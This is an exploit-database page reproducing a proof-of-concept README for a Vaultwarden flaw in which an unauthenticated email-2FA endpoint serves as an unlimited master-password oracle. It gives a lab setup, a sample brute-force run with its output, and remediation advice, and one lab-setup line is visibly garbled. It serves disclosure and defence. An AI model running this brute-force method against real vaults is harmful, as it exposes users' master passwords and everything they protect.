Sploitus

Exploit for Improper Restriction of Excessive Authentication Attempts in Dani-Garcia Vaultwarden

CVE-2026-43914

githubexploit · 2026-08-24

Exploit Code

README48 lines
## https://sploitus.com/exploit?id=F513EBE7-12DB-5C5D-8857-C0AF6BD5141D
# CVE-2026-43914 — Vaultwarden Email-2FA Brute-Force Protection Bypass

Proof-of-concept for **CVE-2026-43914**: when **Email 2FA** is enabled, Vaultwarden's
login brute-force protection can be completely bypassed via the unauthenticated
`POST /api/two-factor/send-email-login` endpoint, which acts as an unlimited
**master-password oracle**.

Affected: Vaultwarden  MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
  -e I_REALLY_WANT_VOLATILE_STORAGE=true \
  -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
  -e SMTP_FROM=vw@lab.local -e DOMAIN=http://localhost:8222 \
  vaultwarden/server:1.35.3
```

Create a test user (any Bitwarden client or API), enable **Email 2FA**
(Settings → Two-step Login → Email), then run the PoC against it.

## Verified output

```
$ python3 vw_bf_poc.py --email victim@lab.local --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : victim@lab.local
[*] Trying 3 candidate passwords via send-email-login oracle

  [0001] 400  -  wrong1
  [0002] 400  -  wrong2
  [0003] 200  HIT!  CorrectHorse123!

=> PASS: master password FOUND = 'CorrectHorse123!'  (1.4s, no rate limit hit)
```

## Remediation

Upgrade to Vaultwarden **1.35.4+**. Until then: disable Email 2FA in favor of TOTP/WebAuthn,
and put the instance behind a reverse proxy with per-IP rate limiting on
`/api/two-factor/*`.

## References

- GHSA-c5rv-q295-7w4g (dani-garcia/vaultwarden advisory)
- Neodyme advisory: cve-2026-43914

## Disclaimer

For authorized security research and lab use only.